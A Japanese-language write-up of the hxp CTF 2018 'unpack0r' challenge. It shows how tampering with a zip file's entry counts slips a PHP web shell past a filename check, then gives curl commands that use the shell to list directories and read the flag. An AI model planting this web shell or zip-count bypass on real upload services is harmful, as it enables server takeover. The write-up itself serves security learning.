hxp CTF 2018 Writeup - unpack0r
問題文
unpackbar
Connection:
http://195.201.136.29:8087/
writeup
zipファイルをアップロードすると、ファイル名をチェックして解凍するプログラム。
^[a-z]+$
の正規表現でチェックされている。
例えば、.php
のファイルを圧縮してアップロードしても、.
がチェックにかかるためNG。
ファイル名のチェックはPHPのZipArchive、解凍はunzipコマンドを使用している。
2つの方式の差異を突く問題だろうか。
$zip->numFiles
で、zipファイルが含むファイル数を取得してから、各ファイル名をチェックしている。
$zip->numFiles
を偽装すれば、ファイル名のチェックをバイパスできそうだ。
以下のサイトでzipファイルのフォーマットを確認する。
End of central directory recordに、ファイル数を表記する項目がある。
- total number of entries in the central directory on this disk
- total number of entries in the central directory
適当なファイルとPHPのWebShellのファイルをzip圧縮して、上記2項目を改ざんする。
# cat aaa # cat bbb.php <?php if($_GET['cmd']) { system($_GET['cmd']); } ?> # zip test.zip aaa bbb.php adding: aaa (stored 0%) adding: bbb.php (deflated 20%)
バイナリエディタで変更する。
アップロードしてみる。
# curl http://195.201.136.29:8087/ -F zip=@test.zip files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336
アップロードできた!
あとはWebShellのphpを使ってファイル探索するだけ。
# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G -d "cmd=ls" aaa bbb.php # curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G --data-urlencode "cmd=ls ../../../../../" bin boot dev etc flag_IVSbATTqgejx9Hn2berSknRO.php home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var # curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G --data-urlencode "cmd=cat ../../../../../flag_IVSbATTqgejx9Hn2berSknRO.php" <?php 'hxp{please_ask_gynvael_for_more_details_on_zips_:>}';
フラグゲット。
hxp{please_ask_gynvael_for_more_details_on_zips_:>}